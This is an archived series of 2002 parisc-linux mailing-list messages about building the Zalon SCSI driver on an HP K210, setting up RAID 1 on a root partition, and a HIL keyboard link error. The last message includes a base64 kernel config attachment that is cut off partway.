Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621481 10137 80.91.229.3 (22 Nov 2014 01:58:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:01 +0000 (UTC)
Cc: Richard Hirst <rhirst@linuxcare.com>,
	parisc-linux@lists.parisc-linux.org
To: Stephan Trajkoff <stephan@itp.bg>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul  9 05:31:58 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp1.powertech.no (smtp1.powertech.no [195.159.0.145])
	by dsl2.external.hp.com (Postfix) with ESMTP id 924D6483F
	for <parisc-linux@lists.parisc-linux.org>; Tue,  9 Jul 2002 05:31:58 -0600 (MDT)
Original-Received: from nyepost.start.no (nyepost.start.no [195.159.1.214])
	by smtp1.powertech.no (Postfix) with ESMTP
	id 47B388A5C; Tue,  9 Jul 2002 13:31:57 +0200 (CEST)
Original-Received: (from apache@localhost)
	by nyepost.start.no (8.11.6/8.11.2) id g69B9EQ31429;
	Tue, 9 Jul 2002 13:09:14 +0200
In-Reply-To: <3D2AC7BD.5060707@itp.bg>
User-Agent: IMP/PHP IMAP webmail program 2.2.8
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15372

Quoting Stephan Trajkoff <stephan@itp.bg>:

> T think that my HP K210 don't have any PCIs or EISAs...
> dmesg don't show me that I have any PCIs or EISAs...
> and I have ncr53c720 not 8xx
> 

No, you don't have PCI or EISA, but you do need the PCI code for the
time being. Although the Zalon board has a 720, it is driven by
the 8xx code. The 53c8xx driver has been modified to handle the 720
(which is a lot closer to the 8xx chips in terms of scrip capabilities
than its poor 700 and 710 relations).

-Andy



> 
> Richard Hirst wrote:
> 
> >On Tue, Jul 09, 2002 at 10:56:01AM +0300, Stephan Trajkoff wrote:
> >  
> >
> >>Hi,
> >>why I need to enable PCI/EISA to make available option zalon driver in
> 
> >>SCSI drivers?
> >>My HP K210 don't have PCIs and EISA?!!?!?!?
> >>    
> >>
> >
> >At the moment you have to enable PCI because that is the way the
> config
> >script is organised.  I don't know if zalon support would build
> without
> >PCI because it uses the ncr53c8xx driver which normally drives only
> PCI
> >chips.  It is an area that needs attention anyway, because if you
> enable
> >sym53c8xx_2 you wont get the zalon option at all (which is obviously
> >wrong).
> >
> >Richard?!!?!?!?
> >
> >
> >_______________________________________________
> >parisc-linux mailing list
> >parisc-linux@lists.parisc-linux.org
> >http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> >
> >
> >  
> >
> 
> 
> 
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 


------------------------------------------------------------
F din egen @start.no-adresse gratis p http://www.start.no/



From - Thu Nov 08 21:23:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stephan Trajkoff <stephan@itp.bg>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] k210/819 Zalon driver
Date: Tue, 09 Jul 2002 14:34:11 +0300
Lines: 114
Approved: news@gmane.org
Message-ID: <3D2ACA33.6030301@itp.bg>
References: <3D2A9711.4030207@itp.bg> <20020709072916.GH6681@sleepie.demon.co.uk> <3D2AC7BD.5060707@itp.bg> <1026212954.3d2ac45a69282@nyepost.start.no>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621482 10169 80.91.229.3 (22 Nov 2014 01:58:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:02 +0000 (UTC)
To: Andy Walker <squawker@start.no>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul  9 05:33:58 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ns.itp.bg (itp.solo.bg [212.72.196.10])
	by dsl2.external.hp.com (Postfix) with SMTP id 687F64863
	for <parisc-linux@lists.parisc-linux.org>; Tue,  9 Jul 2002 05:33:57 -0600 (MDT)
Original-Received: (qmail 793 invoked from network); 9 Jul 2002 11:35:04 -0000
Original-Received: from softdnserror (HELO itp.bg) (212.72.204.2)
  by softdnserror with SMTP; 9 Jul 2002 11:35:04 -0000
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.0) Gecko/20020605
X-Accept-Language: en-us, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15373

It is very confusing thing, for this reason I compiled kernel 10 times, 
to understand that I have to enable PCI...

Andy Walker wrote:

>Quoting Stephan Trajkoff <stephan@itp.bg>:
>
>  
>
>>T think that my HP K210 don't have any PCIs or EISAs...
>>dmesg don't show me that I have any PCIs or EISAs...
>>and I have ncr53c720 not 8xx
>>
>>    
>>
>
>No, you don't have PCI or EISA, but you do need the PCI code for the
>time being. Although the Zalon board has a 720, it is driven by
>the 8xx code. The 53c8xx driver has been modified to handle the 720
>(which is a lot closer to the 8xx chips in terms of scrip capabilities
>than its poor 700 and 710 relations).
>
>-Andy
>
>
>
>  
>
>>Richard Hirst wrote:
>>
>>    
>>
>>>On Tue, Jul 09, 2002 at 10:56:01AM +0300, Stephan Trajkoff wrote:
>>> 
>>>
>>>      
>>>
>>>>Hi,
>>>>why I need to enable PCI/EISA to make available option zalon driver in
>>>>        
>>>>
>>>>SCSI drivers?
>>>>My HP K210 don't have PCIs and EISA?!!?!?!?
>>>>   
>>>>
>>>>        
>>>>
>>>At the moment you have to enable PCI because that is the way the
>>>      
>>>
>>config
>>    
>>
>>>script is organised.  I don't know if zalon support would build
>>>      
>>>
>>without
>>    
>>
>>>PCI because it uses the ncr53c8xx driver which normally drives only
>>>      
>>>
>>PCI
>>    
>>
>>>chips.  It is an area that needs attention anyway, because if you
>>>      
>>>
>>enable
>>    
>>
>>>sym53c8xx_2 you wont get the zalon option at all (which is obviously
>>>wrong).
>>>
>>>Richard?!!?!?!?
>>>
>>>
>>>_______________________________________________
>>>parisc-linux mailing list
>>>parisc-linux@lists.parisc-linux.org
>>>http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>>>
>>>
>>> 
>>>
>>>      
>>>
>>
>>
>>_______________________________________________
>>parisc-linux mailing list
>>parisc-linux@lists.parisc-linux.org
>>http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>>
>>    
>>
>
>
>------------------------------------------------------------
>F din egen @start.no-adresse gratis p http://www.start.no/
>
>_______________________________________________
>parisc-linux mailing list
>parisc-linux@lists.parisc-linux.org
>http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>
>
>  
>






From - Thu Nov 08 21:23:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] k210/819 Zalon driver
Date: Tue, 9 Jul 2002 14:03:42 +0100
Lines: 27
Approved: news@gmane.org
Message-ID: <20020709140342.X27706@parcelfarce.linux.theplanet.co.uk>
References: <3D2A9711.4030207@itp.bg> <20020709072916.GH6681@sleepie.demon.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621482 10177 80.91.229.3 (22 Nov 2014 01:58:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:02 +0000 (UTC)
Cc: Stephan Trajkoff <stephan@itp.bg>,
	parisc-linux@lists.parisc-linux.org
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul  9 07:03:45 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2D2A84848
	for <parisc-linux@lists.parisc-linux.org>; Tue,  9 Jul 2002 07:03:45 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 17Ruec-0005br-00; Tue, 09 Jul 2002 14:03:42 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20020709072916.GH6681@sleepie.demon.co.uk>; from rhirst@linuxcare.com on Tue, Jul 09, 2002 at 08:29:16AM +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15374

On Tue, Jul 09, 2002 at 08:29:16AM +0100, Richard Hirst wrote:
> On Tue, Jul 09, 2002 at 10:56:01AM +0300, Stephan Trajkoff wrote:
> > Hi,
> > why I need to enable PCI/EISA to make available option zalon driver in 
> > SCSI drivers?
> > My HP K210 don't have PCIs and EISA?!!?!?!?
> 
> At the moment you have to enable PCI because that is the way the config
> script is organised.  I don't know if zalon support would build without
> PCI because it uses the ncr53c8xx driver which normally drives only PCI
> chips.  It is an area that needs attention anyway, because if you enable
> sym53c8xx_2 you wont get the zalon option at all (which is obviously
> wrong).
> 
> Richard?!!?!?!?

Something else is that even if you don't have PCI slots, some of the cards
you have may contain a GSC<->PCI adapter and a PCI device.  The 100Mbit
& Gigabit lan cards are definitely like this and there may be others.

It probably is possible to compile the zalon driver without having PCI
enabled but it'll take a small amount of work to verify.

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:23:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <joel.soete@freebel.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] RAID 1 ON PARISC LINUX
Date: Tue, 09 Jul 2002 15:42:42 +0000
Lines: 30
Approved: news@gmane.org
Message-ID: <3D2B0472.7060805@freebel.net>
References: <66A1F566-91F8-11D6-A1BD-0030656F07A2@esiee.fr> <3D29AF59.5000104@itp.bg>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621482 10181 80.91.229.3 (22 Nov 2014 01:58:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:02 +0000 (UTC)
Cc: "The PA/Linux Team@ESIEE" <Puffin@esiee.fr>,
	parisc-linux@lists.parisc-linux.org
To: Stephan Trajkoff <stephan@itp.bg>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul  9 09:40:59 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from spoolm2.tiscalinet.be (spoolm2.tiscalinet.be [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id AC41A483E
	for <parisc-linux@lists.parisc-linux.org>; Tue,  9 Jul 2002 09:40:58 -0600 (MDT)
Original-Received: from [62.235.224.43] (helo=freebel.net)
	by spoolm2.tiscalinet.be with esmtp (Tiscalinet) 
	id 17Rx6U-00082i-00; Tue, 09 Jul 2002 17:40:39 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.0) Gecko/20020615 Debian/1.0.0-3
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15375

Have a look to: 
http://lists.parisc-linux.org/pipermail/parisc-linux/2002-May/016323.html

As I recover some free disk I would be able to have a more detail look 
next week. But with a separate /boot partition.

Good luck,
	Joel


Stephan Trajkoff wrote:
> Hello,
> can I make RAID 1?
> sda1 is parisc/boot lodaer
> sda2 is /
> sda3 is swap
> sda4 /home
> can I RAID sda2 which is root mounted with sdb2?
> Regards
> 
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 





From - Thu Nov 08 21:23:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeremy Drake <jeremyd@apptechsys.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HOWTO: Using HIL keyboard and HIL mouse on PARISC
Date: Tue, 9 Jul 2002 09:36:19 -0700 (PDT)
Lines: 471
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0207090933560.19290-200000@garibaldi.apptechsys.com>
References: <200206301931.58043.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: MULTIPART/MIXED; BOUNDARY="248488995-1339967908-1026232579=:19290"
X-Trace: ger.gmane.org 1416621483 10182 80.91.229.3 (22 Nov 2014 01:58:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:03 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Helge Deller <deller@gmx.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul  9 10:36:21 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.apptechsys.com (mail.apptechsys.com [207.14.35.131])
	by dsl2.external.hp.com (Postfix) with ESMTP id 453CF4842
	for <parisc-linux@lists.parisc-linux.org>; Tue,  9 Jul 2002 10:36:20 -0600 (MDT)
Original-Received: from garibaldi.apptechsys.com (ats164.apptechsys.com [207.14.35.164])
	by mail.apptechsys.com (Postfix) with ESMTP
	id 155197BC45; Tue,  9 Jul 2002 09:36:19 -0700 (PDT)
In-Reply-To: <200206301931.58043.deller@gmx.de>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15376

  This message is in MIME format.  The first part should be readable text,
  while the remaining parts are likely unreadable without MIME-aware tools.
  Send mail to mime@docserver.cac.washington.edu for more info.

--248488995-1339967908-1026232579=:19290
Content-Type: TEXT/PLAIN; charset=US-ASCII

When trying to build my kernel (-pa52) with the new HIL support I got this 
while building vmlinux:

drivers/hil/hil.o: In function `.L1369':
drivers/hil/hil.o(.text.hil_kbd_connect+0x4f8): undefined reference to 
`register_ps2_keybfuncs'

Could someone please let me know what I am doing wrong (leaving out)?  I
have attached my .config (for a J5k).

Thanks

-- 
Life's the same, except for the shoes.
- The Cars

--248488995-1339967908-1026232579=:19290
Content-Type: TEXT/PLAIN; charset=US-ASCII; name="j5k.config"
Content-Transfer-Encoding: BASE64
Content-ID: <Pine.LNX.4.44.0207090936190.19290@garibaldi.apptechsys.com>
Content-Description: 
Content-Disposition: attachment; filename="j5k.config"

Iw0KIyBBdXRvbWF0aWNhbGx5IGdlbmVyYXRlZCBtYWtlIGNvbmZpZzogZG9u
J3QgZWRpdA0KIw0KQ09ORklHX1BBUklTQz15DQojIENPTkZJR19VSUQxNiBp
cyBub3Qgc2V0DQpDT05GSUdfUldTRU1fR0VORVJJQ19TUElOTE9DSz15DQoj
IENPTkZJR19SV1NFTV9YQ0hHQUREX0FMR09SSVRITSBpcyBub3Qgc2V0DQoN
CiMNCiMgQ29kZSBtYXR1cml0eSBsZXZlbCBvcHRpb25zDQojDQpDT05GSUdf
RVhQRVJJTUVOVEFMPXkNCg0KIw0KIyBMb2FkYWJsZSBtb2R1bGUgc3VwcG9y
dA0KIw0KQ09ORklHX01PRFVMRVM9eQ0KQ09ORklHX01PRFZFUlNJT05TPXkN
CkNPTkZJR19LTU9EPXkNCg0KIw0KIyBQcm9jZXNzb3IgdHlwZQ0KIw0KQ09O
RklHX1BBNzEwMD15DQojIENPTkZJR19QQTcyMDAgaXMgbm90IHNldA0KIyBD
T05GSUdfUEE3MTAwTEMgaXMgbm90IHNldA0KIyBDT05GSUdfUEE4WDAwIGlz
IG5vdCBzZXQNCkNPTkZJR19QQTExPXkNCg0KIw0KIyBHZW5lcmFsIG9wdGlv
bnMNCiMNCiMgQ09ORklHX1NNUCBpcyBub3Qgc2V0DQpDT05GSUdfQ0hBU1NJ
U19MQ0RfTEVEPXkNCiMgQ09ORklHX0tXREIgaXMgbm90IHNldA0KQ09ORklH
X0lPTU1VX0NDSU89eQ0KQ09ORklHX0dTQz15DQpDT05GSUdfR1NDX0xBU0k9
eQ0KQ09ORklHX0dTQ19XQVg9eQ0KQ09ORklHX0VJU0E9eQ0KQ09ORklHX0lT
QT15DQpDT05GSUdfUENJPXkNCkNPTkZJR19HU0NfRElOTz15DQpDT05GSUdf
UENJX0xCQT15DQpDT05GSUdfSU9TQVBJQz15DQpDT05GSUdfSU9NTVVfU0JB
PXkNCkNPTkZJR19TVVBFUklPPXkNCkNPTkZJR19QQ0lfTkFNRVM9eQ0KDQoj
DQojIEdlbmVyYWwgc2V0dXANCiMNCkNPTkZJR19IT1RQTFVHPXkNCkNPTkZJ
R19ORVQ9eQ0KQ09ORklHX1NZU1ZJUEM9eQ0KIyBDT05GSUdfQlNEX1BST0NF
U1NfQUNDVCBpcyBub3Qgc2V0DQpDT05GSUdfU1lTQ1RMPXkNCkNPTkZJR19L
Q09SRV9FTEY9eQ0KQ09ORklHX0JJTkZNVF9FTEY9eQ0KQ09ORklHX0JJTkZN
VF9TT009eQ0KQ09ORklHX0JJTkZNVF9NSVNDPW0NCiMgQ09ORklHX1BNIGlz
IG5vdCBzZXQNCg0KIw0KIyBQYXJhbGxlbCBwb3J0IHN1cHBvcnQNCiMNCiMg
Q09ORklHX1BBUlBPUlQgaXMgbm90IHNldA0KDQojDQojIEJsb2NrIGRldmlj
ZXMNCiMNCiMgQ09ORklHX0JMS19ERVZfRkQgaXMgbm90IHNldA0KIyBDT05G
SUdfQkxLX0RFVl9YRCBpcyBub3Qgc2V0DQojIENPTkZJR19QQVJJREUgaXMg
bm90IHNldA0KIyBDT05GSUdfQkxLX0NQUV9EQSBpcyBub3Qgc2V0DQojIENP
TkZJR19CTEtfQ1BRX0NJU1NfREEgaXMgbm90IHNldA0KIyBDT05GSUdfQkxL
X0RFVl9EQUM5NjAgaXMgbm90IHNldA0KQ09ORklHX0JMS19ERVZfTE9PUD1t
DQpDT05GSUdfQkxLX0RFVl9OQkQ9bQ0KQ09ORklHX0JMS19ERVZfUkFNPXkN
CkNPTkZJR19CTEtfREVWX1JBTV9TSVpFPTYxNDQNCkNPTkZJR19CTEtfREVW
X0lOSVRSRD15DQoNCiMNCiMgTXVsdGktZGV2aWNlIHN1cHBvcnQgKFJBSUQg
YW5kIExWTSkNCiMNCkNPTkZJR19NRD15DQpDT05GSUdfQkxLX0RFVl9NRD1t
DQojIENPTkZJR19NRF9MSU5FQVIgaXMgbm90IHNldA0KQ09ORklHX01EX1JB
SUQwPW0NCiMgQ09ORklHX01EX1JBSUQxIGlzIG5vdCBzZXQNCkNPTkZJR19N
RF9SQUlENT1tDQojIENPTkZJR19NRF9NVUxUSVBBVEggaXMgbm90IHNldA0K
IyBDT05GSUdfQkxLX0RFVl9MVk0gaXMgbm90IHNldA0KDQojDQojIE5ldHdv
cmtpbmcgb3B0aW9ucw0KIw0KQ09ORklHX1BBQ0tFVD15DQpDT05GSUdfUEFD
S0VUX01NQVA9eQ0KIyBDT05GSUdfTkVUTElOS19ERVYgaXMgbm90IHNldA0K
IyBDT05GSUdfTkVURklMVEVSIGlzIG5vdCBzZXQNCkNPTkZJR19GSUxURVI9
eQ0KQ09ORklHX1VOSVg9eQ0KQ09ORklHX0lORVQ9eQ0KQ09ORklHX0lQX01V
TFRJQ0FTVD15DQojIENPTkZJR19JUF9BRFZBTkNFRF9ST1VURVIgaXMgbm90
IHNldA0KIyBDT05GSUdfSVBfUE5QIGlzIG5vdCBzZXQNCiMgQ09ORklHX05F
VF9JUElQIGlzIG5vdCBzZXQNCiMgQ09ORklHX05FVF9JUEdSRSBpcyBub3Qg
c2V0DQojIENPTkZJR19JUF9NUk9VVEUgaXMgbm90IHNldA0KIyBDT05GSUdf
QVJQRCBpcyBub3Qgc2V0DQojIENPTkZJR19JTkVUX0VDTiBpcyBub3Qgc2V0
DQojIENPTkZJR19TWU5fQ09PS0lFUyBpcyBub3Qgc2V0DQojIENPTkZJR19J
UFY2IGlzIG5vdCBzZXQNCiMgQ09ORklHX0tIVFRQRCBpcyBub3Qgc2V0DQoj
IENPTkZJR19BVE0gaXMgbm90IHNldA0KIyBDT05GSUdfVkxBTl84MDIxUSBp
cyBub3Qgc2V0DQoNCiMNCiMgIA0KIw0KIyBDT05GSUdfSVBYIGlzIG5vdCBz
ZXQNCiMgQ09ORklHX0FUQUxLIGlzIG5vdCBzZXQNCiMgQ09ORklHX0RFQ05F
VCBpcyBub3Qgc2V0DQojIENPTkZJR19CUklER0UgaXMgbm90IHNldA0KIyBD
T05GSUdfWDI1IGlzIG5vdCBzZXQNCiMgQ09ORklHX0xBUEIgaXMgbm90IHNl
dA0KIyBDT05GSUdfTExDIGlzIG5vdCBzZXQNCiMgQ09ORklHX05FVF9ESVZF
UlQgaXMgbm90IHNldA0KIyBDT05GSUdfRUNPTkVUIGlzIG5vdCBzZXQNCiMg
Q09ORklHX1dBTl9ST1VURVIgaXMgbm90IHNldA0KIyBDT05GSUdfTkVUX0ZB
U1RST1VURSBpcyBub3Qgc2V0DQojIENPTkZJR19ORVRfSFdfRkxPV0NPTlRS
T0wgaXMgbm90IHNldA0KDQojDQojIFFvUyBhbmQvb3IgZmFpciBxdWV1ZWlu
Zw0KIw0KIyBDT05GSUdfTkVUX1NDSEVEIGlzIG5vdCBzZXQNCg0KIw0KIyBB
VEEvSURFL01GTS9STEwgc3VwcG9ydA0KIw0KQ09ORklHX0lERT15DQoNCiMN
CiMgSURFLCBBVEEgYW5kIEFUQVBJIEJsb2NrIGRldmljZXMNCiMNCkNPTkZJ
R19CTEtfREVWX0lERT15DQoNCiMNCiMgUGxlYXNlIHNlZSBEb2N1bWVudGF0
aW9uL2lkZS50eHQgZm9yIGhlbHAvaW5mbyBvbiBJREUgZHJpdmVzDQojDQoj
IENPTkZJR19CTEtfREVWX0hEX0lERSBpcyBub3Qgc2V0DQojIENPTkZJR19C
TEtfREVWX0hEIGlzIG5vdCBzZXQNCiMgQ09ORklHX0JMS19ERVZfSURFRElT
SyBpcyBub3Qgc2V0DQojIENPTkZJR19JREVESVNLX01VTFRJX01PREUgaXMg
bm90IHNldA0KIyBDT05GSUdfQkxLX0RFVl9JREVESVNLX1ZFTkRPUiBpcyBu
b3Qgc2V0DQojIENPTkZJR19CTEtfREVWX0lERURJU0tfRlVKSVRTVSBpcyBu
b3Qgc2V0DQojIENPTkZJR19CTEtfREVWX0lERURJU0tfSUJNIGlzIG5vdCBz
ZXQNCiMgQ09ORklHX0JMS19ERVZfSURFRElTS19NQVhUT1IgaXMgbm90IHNl
dA0KIyBDT05GSUdfQkxLX0RFVl9JREVESVNLX1FVQU5UVU0gaXMgbm90IHNl
dA0KIyBDT05GSUdfQkxLX0RFVl9JREVESVNLX1NFQUdBVEUgaXMgbm90IHNl
dA0KIyBDT05GSUdfQkxLX0RFVl9JREVESVNLX1dEIGlzIG5vdCBzZXQNCiMg
Q09ORklHX0JMS19ERVZfQ09NTUVSSUFMIGlzIG5vdCBzZXQNCiMgQ09ORklH
X0JMS19ERVZfVElWTyBpcyBub3Qgc2V0DQojIENPTkZJR19CTEtfREVWX0lE
RUNTIGlzIG5vdCBzZXQNCkNPTkZJR19CTEtfREVWX0lERUNEPXkNCiMgQ09O
RklHX0JMS19ERVZfSURFVEFQRSBpcyBub3Qgc2V0DQojIENPTkZJR19CTEtf
REVWX0lERUZMT1BQWSBpcyBub3Qgc2V0DQojIENPTkZJR19CTEtfREVWX0lE
RVNDU0kgaXMgbm90IHNldA0KDQojDQojIElERSBjaGlwc2V0IHN1cHBvcnQv
YnVnZml4ZXMNCiMNCiMgQ09ORklHX0JMS19ERVZfQ01ENjQwIGlzIG5vdCBz
ZXQNCiMgQ09ORklHX0JMS19ERVZfQ01ENjQwX0VOSEFOQ0VEIGlzIG5vdCBz
ZXQNCiMgQ09ORklHX0JMS19ERVZfSVNBUE5QIGlzIG5vdCBzZXQNCiMgQ09O
RklHX0JMS19ERVZfUloxMDAwIGlzIG5vdCBzZXQNCkNPTkZJR19CTEtfREVW
X0lERVBDST15DQojIENPTkZJR19JREVQQ0lfU0hBUkVfSVJRIGlzIG5vdCBz
ZXQNCkNPTkZJR19CTEtfREVWX0lERURNQV9QQ0k9eQ0KQ09ORklHX0JMS19E
RVZfQURNQT15DQojIENPTkZJR19CTEtfREVWX09GRkJPQVJEIGlzIG5vdCBz
ZXQNCiMgQ09ORklHX0lERURNQV9QQ0lfQVVUTyBpcyBub3Qgc2V0DQpDT05G
SUdfQkxLX0RFVl9JREVETUE9eQ0KIyBDT05GSUdfSURFRE1BX1BDSV9XSVAg
aXMgbm90IHNldA0KIyBDT05GSUdfSURFRE1BX05FV19EUklWRV9MSVNUSU5H
UyBpcyBub3Qgc2V0DQojIENPTkZJR19CTEtfREVWX0FFQzYyWFggaXMgbm90
IHNldA0KIyBDT05GSUdfQUVDNjJYWF9UVU5JTkcgaXMgbm90IHNldA0KIyBD
T05GSUdfQkxLX0RFVl9BTEkxNVgzIGlzIG5vdCBzZXQNCiMgQ09ORklHX1dE
Q19BTEkxNVgzIGlzIG5vdCBzZXQNCiMgQ09ORklHX0JMS19ERVZfQU1ENzRY
